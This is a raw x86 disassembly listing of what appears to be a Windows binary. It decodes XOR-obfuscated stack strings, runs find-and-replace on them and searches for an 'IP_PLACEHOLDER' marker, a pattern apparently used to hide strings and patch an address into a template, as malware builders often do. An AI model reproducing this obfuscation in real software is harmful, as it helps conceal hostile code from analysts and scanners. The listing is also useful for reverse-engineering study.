mov dword [ebp - 0x6a8], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x6a4], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xe02b698a
mov dword [ebp - 0x64], 0xa74d1c85
mov dword [ebp - 0x6a0], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x69c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x35fdb557
mov dword [ebp - 0x64], 0x24d38ea2
mov dword [ebp - 0x698], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x694], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xe87205dc
mov dword [ebp - 0x64], 0x25c3c82b
mov dword [ebp - 0x690], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x68c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xe6af3459
mov dword [ebp - 0x64], 0x57788358
mov dword [ebp - 0x688], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x684], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x28a9d09e
mov dword [ebp - 0x64], 0xd5c9d141
mov dword [ebp - 0x680], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x67c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xe1743b0b
mov dword [ebp - 0x64], 0x8e0be9be
mov dword [ebp - 0x678], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x674], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x3c98c030
mov dword [ebp - 0x64], 0x76f76bd7
mov dword [ebp - 0x670], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x66c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x42ed4edd
mov dword [ebp - 0x64], 0xf7f608f4
mov dword [ebp - 0x668], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x664], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x13a5a592
mov dword [ebp - 0x64], 0x76dc77ed
mov dword [ebp - 0x660], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x65c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xfa2e77f
mov dword [ebp - 0x64], 0xd29f166a
mov dword [ebp - 0x658], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x654], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x650], eax
mov dword [ebp - 0x64c], ecx
mov dword [ebp - 0x68], 0x2a4d4a4
mov dword [ebp - 0x64], 0xc1b1a933
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x3d357941
mov dword [ebp - 0x64], 0x18ac5620
mov dword [ebp - 0x648], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x644], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x2ba9286
mov dword [ebp - 0x64], 0xba997bc9
mov dword [ebp - 0x640], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x63c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x7d645b33
mov dword [ebp - 0x64], 0xa07ba426
mov dword [ebp - 0x638], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x634], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x49d9aab8
mov dword [ebp - 0x64], 0xc49ac2bf
mov dword [ebp - 0x630], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x62c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xaa17ddc5
mov dword [ebp - 0x64], 0x6e4527dc
mov dword [ebp - 0x628], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x624], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xb459551a
mov dword [ebp - 0x64], 0xcced9f35
mov dword [ebp - 0x620], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x61c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x31870e67
mov dword [ebp - 0x64], 0xed39f452
mov dword [ebp - 0x618], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x614], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xc2e941ec
mov dword [ebp - 0x64], 0xb368b35b
mov dword [ebp - 0x610], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x60c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x47a88569
mov dword [ebp - 0x64], 0x1fdee908
mov dword [ebp - 0x608], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x604], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x6a1af8ae
mov dword [ebp - 0x64], 0x8810ae71
mov dword [ebp - 0x600], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x5fc], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xe7e0609b
mov dword [ebp - 0x64], 0xf23f8bee
mov dword [ebp - 0x5f8], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x5f4], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xc9b8df40
mov dword [ebp - 0x64], 0xa790a807
mov dword [ebp - 0x5f0], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x5ec], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x2441f06d
mov dword [ebp - 0x5e8], eax
mov dword [ebp - 0x64], 0xd4eb63a4
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x5e4], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xeaab5c22
mov dword [ebp - 0x64], 0x9c7cfa9d
mov dword [ebp - 0x5e0], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x5dc], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x54585b0f
mov dword [ebp - 0x64], 0xb435621a
mov dword [ebp - 0x5d8], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x5d4], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x85e9a734
mov dword [ebp - 0x64], 0x24a816e3
mov dword [ebp - 0x5d0], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x5cc], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x6518251
mov dword [ebp - 0x64], 0x3e4cd8d0
mov dword [ebp - 0x5c8], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x5c4], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x9447ce96
mov dword [ebp - 0x64], 0xc0843a79
mov dword [ebp - 0x5c0], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x5bc], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xf1a4fac3
mov dword [ebp - 0x64], 0x7dbe7dd6
mov dword [ebp - 0x5b8], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x5b4], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x2f67aac8
mov dword [ebp - 0x64], 0xea3b456f
mov dword [ebp - 0x5b0], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x5ac], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x92878655
mov dword [ebp - 0x64], 0x61a78a0c
mov dword [ebp - 0x5a8], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x5a4], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x2848db2a
mov dword [ebp - 0x64], 0xd4def665
mov dword [ebp - 0x5a0], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x59c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xea9c16f7
mov dword [ebp - 0x64], 0xf461e782
mov dword [ebp - 0x598], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x594], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xf82a63fc
mov dword [ebp - 0x64], 0x65af908b
mov dword [ebp - 0x590], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x58c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x2605ff79
mov dword [ebp - 0x64], 0xd9bd0538
mov dword [ebp - 0x588], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x584], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xa45223e
mov dword [ebp - 0x64], 0x49b8a3a1
mov dword [ebp - 0x580], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x57c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], ecx
mov dword [ebp - 0x68], 0x1b020cab
mov dword [ebp - 0x64], 0x8a02679e
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xb2af9bd0
mov dword [ebp - 0x64], 0xaee78f37
mov dword [ebp - 0x570], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x56c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x503c5dfd
mov dword [ebp - 0x64], 0x57cbeb54
mov dword [ebp - 0x568], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x564], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xbb08b32
mov dword [ebp - 0x64], 0x879638cd
mov dword [ebp - 0x560], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x55c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xa76c8f9f
mov dword [ebp - 0x64], 0x7f7392ca
mov dword [ebp - 0x558], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x554], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x39d1ecc4
mov dword [ebp - 0x64], 0x2f771913
mov dword [ebp - 0x550], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x54c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xf58d66e1
mov dword [ebp - 0x64], 0xc4439e00
mov dword [ebp - 0x548], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x544], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x9eec4d26
mov dword [ebp - 0x64], 0x172b9129
mov dword [ebp - 0x540], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x53c], ecx
mov ecx, dword [ebp - 0x64]
movaps xmm1, xmmword [ebp - 0x530]
xorps xmm1, xmmword [ebp - 0x950]
movaps xmmword [ebp - 0x530], xmm1
movaps xmm1, xmmword [ebp - 0x520]
xorps xmm1, xmmword [ebp - 0x940]
movaps xmmword [ebp - 0x520], xmm1
movaps xmm1, xmmword [ebp - 0x510]
xorps xmm1, xmmword [ebp - 0x930]
movaps xmmword [ebp - 0x510], xmm1
movaps xmm1, xmmword [ebp - 0x500]
xorps xmm1, xmmword [ebp - 0x920]
movaps xmmword [ebp - 0x500], xmm1
movaps xmm1, xmmword [ebp - 0x4f0]
xorps xmm1, xmmword [ebp - 0x910]
movaps xmmword [ebp - 0x4f0], xmm1
movaps xmm1, xmmword [ebp - 0x4e0]
xorps xmm1, xmmword [ebp - 0x900]
movaps xmmword [ebp - 0x4e0], xmm1
movaps xmm1, xmmword [ebp - 0x4d0]
xorps xmm1, xmmword [ebp - 0x8f0]
movaps xmmword [ebp - 0x4d0], xmm1
movaps xmm1, xmmword [ebp - 0x4c0]
xorps xmm1, xmmword [ebp - 0x8e0]
movaps xmmword [ebp - 0x4c0], xmm1
movaps xmm1, xmmword [ebp - 0x4b0]
xorps xmm1, xmmword [ebp - 0x8d0]
movaps xmmword [ebp - 0x4b0], xmm1
movaps xmm1, xmmword [ebp - 0x4a0]
xorps xmm1, xmmword [ebp - 0x8c0]
movaps xmmword [ebp - 0x4a0], xmm1
movaps xmm1, xmmword [ebp - 0x490]
xorps xmm1, xmmword [ebp - 0x8b0]
mov dword [ebp - 0x538], eax
mov dword [ebp - 0x534], ecx
movaps xmmword [ebp - 0x490], xmm1
movaps xmm1, xmmword [ebp - 0x480]
xorps xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x480], xmm1
movaps xmm1, xmmword [ebp - 0x470]
xorps xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x470], xmm1
movaps xmm1, xmmword [ebp - 0x460]
xorps xmm1, xmmword [ebp - 0x880]
movaps xmmword [ebp - 0x460], xmm1
movaps xmm1, xmmword [ebp - 0x450]
xorps xmm1, xmmword [ebp - 0x870]
movaps xmmword [ebp - 0x450], xmm1
movaps xmm1, xmmword [ebp - 0x440]
xorps xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0x440], xmm1
movaps xmm1, xmmword [ebp - 0x430]
xorps xmm1, xmmword [ebp - 0x850]
movaps xmmword [ebp - 0x430], xmm1
movaps xmm1, xmmword [ebp - 0x420]
xorps xmm1, xmmword [ebp - 0x840]
movaps xmmword [ebp - 0x420], xmm1
movaps xmm1, xmmword [ebp - 0x410]
xorps xmm1, xmmword [ebp - 0x830]
movaps xmmword [ebp - 0x410], xmm1
movaps xmm1, xmmword [ebp - 0x400]
xorps xmm1, xmmword [ebp - 0x820]
movaps xmmword [ebp - 0x400], xmm1
movaps xmm1, xmmword [ebp - 0x3f0]
xorps xmm1, xmmword [ebp - 0x810]
movaps xmmword [ebp - 0x3f0], xmm1
movaps xmm1, xmmword [ebp - 0x3e0]
xorps xmm1, xmmword [ebp - 0x800]
movaps xmmword [ebp - 0x3e0], xmm1
movaps xmm1, xmmword [ebp - 0x3d0]
xorps xmm1, xmmword [ebp - 0x7f0]
movaps xmmword [ebp - 0x3d0], xmm1
movaps xmm1, xmmword [ebp - 0x3c0]
xorps xmm1, xmmword [ebp - 0x7e0]
movaps xmmword [ebp - 0x3c0], xmm1
movaps xmm1, xmmword [ebp - 0x3b0]
xorps xmm1, xmmword [ebp - 0x7d0]
movaps xmmword [ebp - 0x3b0], xmm1
movaps xmm1, xmmword [ebp - 0x3a0]
xorps xmm1, xmmword [ebp - 0x7c0]
movaps xmmword [ebp - 0x3a0], xmm1
movaps xmm1, xmmword [ebp - 0x390]
xorps xmm1, xmmword [ebp - 0x7b0]
movaps xmmword [ebp - 0x390], xmm1
movaps xmm1, xmmword [ebp - 0x380]
xorps xmm1, xmmword [ebp - 0x7a0]
movaps xmmword [ebp - 0x380], xmm1
movaps xmm1, xmmword [ebp - 0x370]
xorps xmm1, xmmword [ebp - 0x790]
movaps xmmword [ebp - 0x370], xmm1
movaps xmm1, xmmword [ebp - 0x360]
xorps xmm1, xmmword [ebp - 0x780]
movaps xmmword [ebp - 0x360], xmm1
movaps xmm1, xmmword [ebp - 0x350]
xorps xmm1, xmmword [ebp - 0x770]
movaps xmmword [ebp - 0x350], xmm1
movaps xmm1, xmmword [ebp - 0x340]
xorps xmm1, xmmword [ebp - 0x760]
movaps xmmword [ebp - 0x340], xmm1
movaps xmm1, xmmword [ebp - 0x330]
xorps xmm1, xmmword [ebp - 0x750]
movaps xmmword [ebp - 0x330], xmm1
movaps xmm1, xmmword [ebp - 0x320]
xorps xmm1, xmmword [ebp - 0x740]
movaps xmmword [ebp - 0x320], xmm1
movaps xmm1, xmmword [ebp - 0x310]
xorps xmm1, xmmword [ebp - 0x730]
movaps xmmword [ebp - 0x310], xmm1
movaps xmm1, xmmword [ebp - 0x300]
xorps xmm1, xmmword [ebp - 0x720]
movaps xmmword [ebp - 0x300], xmm1
movaps xmm1, xmmword [ebp - 0x2f0]
xorps xmm1, xmmword [ebp - 0x710]
movaps xmmword [ebp - 0x2f0], xmm1
movaps xmm1, xmmword [ebp - 0x2e0]
xorps xmm1, xmmword [ebp - 0x700]
movaps xmmword [ebp - 0x2e0], xmm1
movaps xmm1, xmmword [ebp - 0x2d0]
xorps xmm1, xmmword [ebp - 0x6f0]
movaps xmmword [ebp - 0x2d0], xmm1
movaps xmm1, xmmword [ebp - 0x6e0]
xorps xmm1, xmmword [ebp - 0x2c0]
movaps xmmword [ebp - 0x2c0], xmm1
movaps xmm1, xmmword [ebp - 0x2b0]
xorps xmm1, xmmword [ebp - 0x6d0]
movaps xmmword [ebp - 0x2b0], xmm1
movaps xmm1, xmmword [ebp - 0x2a0]
xorps xmm1, xmmword [ebp - 0x6c0]
movaps xmmword [ebp - 0x2a0], xmm1
movaps xmm1, xmmword [ebp - 0x290]
xorps xmm1, xmmword [ebp - 0x6b0]
movaps xmmword [ebp - 0x290], xmm1
movaps xmm1, xmmword [ebp - 0x280]
xorps xmm1, xmmword [ebp - 0x6a0]
movaps xmmword [ebp - 0x280], xmm1
movaps xmm1, xmmword [ebp - 0x270]
xorps xmm1, xmmword [ebp - 0x690]
movaps xmmword [ebp - 0x270], xmm1
movaps xmm1, xmmword [ebp - 0x260]
xorps xmm1, xmmword [ebp - 0x680]
movaps xmmword [ebp - 0x260], xmm1
movaps xmm1, xmmword [ebp - 0x250]
xorps xmm1, xmmword [ebp - 0x670]
movaps xmmword [ebp - 0x250], xmm1
movaps xmm1, xmmword [ebp - 0x240]
xorps xmm1, xmmword [ebp - 0x660]
movaps xmmword [ebp - 0x240], xmm1
movaps xmm1, xmmword [ebp - 0x230]
xorps xmm1, xmmword [ebp - 0x650]
movaps xmmword [ebp - 0x230], xmm1
movaps xmm1, xmmword [ebp - 0x220]
xorps xmm1, xmmword [ebp - 0x640]
movaps xmmword [ebp - 0x220], xmm1
movaps xmm1, xmmword [ebp - 0x210]
xorps xmm1, xmmword [ebp - 0x630]
movaps xmmword [ebp - 0x210], xmm1
movaps xmm1, xmmword [ebp - 0x200]
xorps xmm1, xmmword [ebp - 0x620]
movaps xmmword [ebp - 0x200], xmm1
movaps xmm1, xmmword [ebp - 0x1f0]
xorps xmm1, xmmword [ebp - 0x610]
movaps xmmword [ebp - 0x1f0], xmm1
movaps xmm1, xmmword [ebp - 0x1e0]
xorps xmm1, xmmword [ebp - 0x600]
movaps xmmword [ebp - 0x1e0], xmm1
movaps xmm1, xmmword [ebp - 0x1d0]
xorps xmm1, xmmword [ebp - 0x5f0]
movaps xmmword [ebp - 0x1d0], xmm1
movaps xmm1, xmmword [ebp - 0x1c0]
xorps xmm1, xmmword [ebp - 0x5e0]
movaps xmmword [ebp - 0x1c0], xmm1
movaps xmm1, xmmword [ebp - 0x1b0]
xorps xmm1, xmmword [ebp - 0x5d0]
movaps xmmword [ebp - 0x1b0], xmm1
movaps xmm1, xmmword [ebp - 0x1a0]
xorps xmm1, xmmword [ebp - 0x5c0]
movaps xmmword [ebp - 0x1a0], xmm1
movaps xmm1, xmmword [ebp - 0x190]
xorps xmm1, xmmword [ebp - 0x5b0]
movaps xmmword [ebp - 0x190], xmm1
movaps xmm1, xmmword [ebp - 0x180]
xorps xmm1, xmmword [ebp - 0x5a0]
movaps xmmword [ebp - 0x180], xmm1
movaps xmm1, xmmword [ebp - 0x170]
xorps xmm1, xmmword [ebp - 0x590]
movaps xmmword [ebp - 0x170], xmm1
movaps xmm1, xmmword [ebp - 0x160]
xorps xmm1, xmmword [ebp - 0x580]
movaps xmmword [ebp - 0x160], xmm1
movaps xmm1, xmmword [ebp - 0x150]
xorps xmm1, xmmword [ebp - 0x570]
movaps xmmword [ebp - 0x150], xmm1
movaps xmm1, xmmword [ebp - 0x140]
xorps xmm1, xmmword [ebp - 0x560]
movaps xmmword [ebp - 0x140], xmm1
movaps xmm1, xmmword [ebp - 0x130]
xorps xmm1, xmmword [ebp - 0x550]
movaps xmmword [ebp - 0x130], xmm1
movaps xmm1, xmmword [ebp - 0x120]
lea ecx, [ebp - 0x530]
xorps xmm1, xmmword [ebp - 0x540]
lea edx, [ecx + 1]
xorps xmm0, xmm0
movaps xmmword [ebp - 0x120], xmm1
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4072d6
sub ecx, edx
lea eax, [ebp - 0x530]
push ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040e0d0
mov byte [ebp - 4], 4
lea edx, [ebp - 0x80]
mov dword [ebp - 0x68], 0xcafc684a
mov dword [ebp - 0x64], 0x9e5e5804
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x68], 0x2b1e9844
mov dword [ebp - 0x64], 0x8b169f93
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x68], 0x98b93b1f
mov dword [ebp - 0x64], 0xdb13194a
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x2b1e9844
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0x64], 0x8b169f93
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
movaps xmm1, xmmword [ebp - 0x80]
mov dword [ebp - 0xb4], ecx
lea ecx, [edx + 1]
mov dword [ebp - 0xb8], eax
xorps xmm1, xmmword [ebp - 0xc0]
movaps xmmword [ebp - 0x80], xmm1
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x407380
sub edx, ecx
lea eax, [ebp - 0x80]
cmp dword [ebp - 0x18], 0xf
lea ecx, [ebp - 0x2c]
push edx
cmova ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
push eax
push 0
call fcn.0040de70
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
je 0x4074ec
mov dword [ebp - 0x68], 0xcafc684a
xorps xmm0, xmm0
mov dword [ebp - 0x64], 0x9e5e5804
mov ecx, dword [ebp - 0x68]
mov edx, dword [ebp - 0x64]
mov dword [ebp - 0x80], ecx
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x68], 0x2b1e9844
mov dword [ebp - 0x64], 0x8b169f93
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x68], 0x98b93b1f
mov dword [ebp - 0x64], 0xdb13194a
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x2b1e9844
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0x64], 0x8b169f93
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0xb4], ecx
lea ecx, [ebp - 0x80]
mov dword [ebp - 0xb8], eax
lea edx, [ecx + 1]
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0x80]
movaps xmmword [ebp - 0x80], xmm1
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407458
sub ecx, edx
lea eax, [ebp - 0x80]
push ecx
push eax
lea ecx, [ebp - 0x98]
call fcn.0040e0d0
mov byte [ebp - 4], 5
lea eax, [ebp - 0x44]
cmp dword [ebp - 0x30], 0xf
lea ecx, [ebp - 0x2c]
push dword [ebp - 0x34]
cmova eax, dword [ebp - 0x44]
push eax
push dword [ebp - 0x88]
push esi
call fcn.0040d970
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x84]
cmp ecx, 0xf
jbe 0x4074d1
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4074c7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407fdf
push ecx
push edx
call fcn.004431bb
add esp, 8
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0xf
mov byte [ebp - 0x98], 0
mov dword [ebp - 0x68], 0xc7e07e54
lea edx, [ebp - 0x80]
mov dword [ebp - 0x64], 0x9852551a
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x68], 0x6751d001
mov dword [ebp - 0x64], 0x8b44dad7
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x68], 0x98b93b1f
mov dword [ebp - 0x64], 0xdb13194a
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x2b1e9844
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0x64], 0x8b169f93
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0xb4], ecx
lea ecx, [edx + 1]
mov dword [ebp - 0xb8], eax
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0x80]
movaps xmmword [ebp - 0x80], xmm1
mov al, byte [edx]
inc edx
test al, al
jne 0x407575
mov edi, dword [ebp - 0x18]
lea eax, [ebp - 0x80]
mov esi, dword [ebp - 0x1c]
sub edx, ecx
push edx
cmp edi, 0xf
lea ecx, [ebp - 0x2c]
push eax
cmova ecx, dword [ebp - 0x2c]
mov edx, esi
push 0
call fcn.0040de70
add esp, 0xc
mov dword [ebp - 0xa4], eax
cmp eax, 0xffffffff
je 0x4076ff
mov dword [ebp - 0x68], 0xc7e07e54
xorps xmm0, xmm0
mov dword [ebp - 0x64], 0x9852551a
mov ecx, dword [ebp - 0x68]
mov edx, dword [ebp - 0x64]
mov dword [ebp - 0x80], ecx
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x68], 0x6751d001
mov dword [ebp - 0x64], 0x8b44dad7
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x68], 0x98b93b1f
mov dword [ebp - 0x64], 0xdb13194a
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x2b1e9844
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0x64], 0x8b169f93
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0xb4], ecx
lea ecx, [ebp - 0x80]
mov dword [ebp - 0xb8], eax
lea edx, [ecx + 1]
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0x80]
movaps xmmword [ebp - 0x80], xmm1
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407655
sub ecx, edx
lea eax, [ebp - 0x80]
push ecx
push eax
lea ecx, [ebp - 0x98]
call fcn.0040e0d0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x2c]
cmp dword [0x506bdc], 0xf
mov eax, 0x506bc8
push dword [0x506bd8]
cmova eax, dword [0x506bc8]
push eax
push dword [ebp - 0x88]
push dword [ebp - 0xa4]
call fcn.0040d970
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x84]
cmp ecx, 0xf
jbe 0x4076de
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4076d4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407fdf
push ecx
push edx
call fcn.004431bb
add esp, 8
mov edi, dword [ebp - 0x18]
mov esi, dword [ebp - 0x1c]
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0xf
mov byte [ebp - 0x98], 0
cmp edi, 0xf
lea ecx, [ebp - 0x2c]
cmova ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xd4], ecx
cmp esi, 0xe
jb 0x4077b0
lea eax, [ecx - 0xd]
add eax, esi
mov dword [ebp - 0xa4], eax
sub eax, ecx
push eax
push 0x49
push ecx
call sub.VCRUNTIME140.dll_memchr
mov edi, eax
add esp, 0xc
test edi, edi
je 0x4077b0
nop dword [eax + eax]
mov edx, edi
mov ecx, str.IP_PLACEHOLDER
mov esi, 0xa
nop dword [eax]
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x407761
add edx, 4
add ecx, 4
sub esi, 4
jae 0x407750
mov al, byte [edx]
cmp al, byte [ecx]
jne 0x407788
mov al, byte [edx + 1]
cmp al, byte [ecx + 1]
jne 0x407788
cmp esi, 0xfffffffe
je 0x407784
mov al, byte [edx + 2]
cmp al, byte [ecx + 2]
jne 0x407788
mov al, byte [edx + 3]
cmp al, byte [ecx + 3]
jne 0x407788
xor eax, eax
jmp 0x40778d
sbb eax, eax
or eax, 1
test eax, eax
je 0x407f1c
mov eax, dword [ebp - 0xa4]
inc edi
sub eax, edi
push eax
push 0x49
push edi
call sub.VCRUNTIME140.dll_memchr
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x407740
or edi, 0xffffffff
cmp edi, 0xffffffff
je 0x407902
mov dword [ebp - 0x68], 0xc8e66b56
xorps xmm0, xmm0
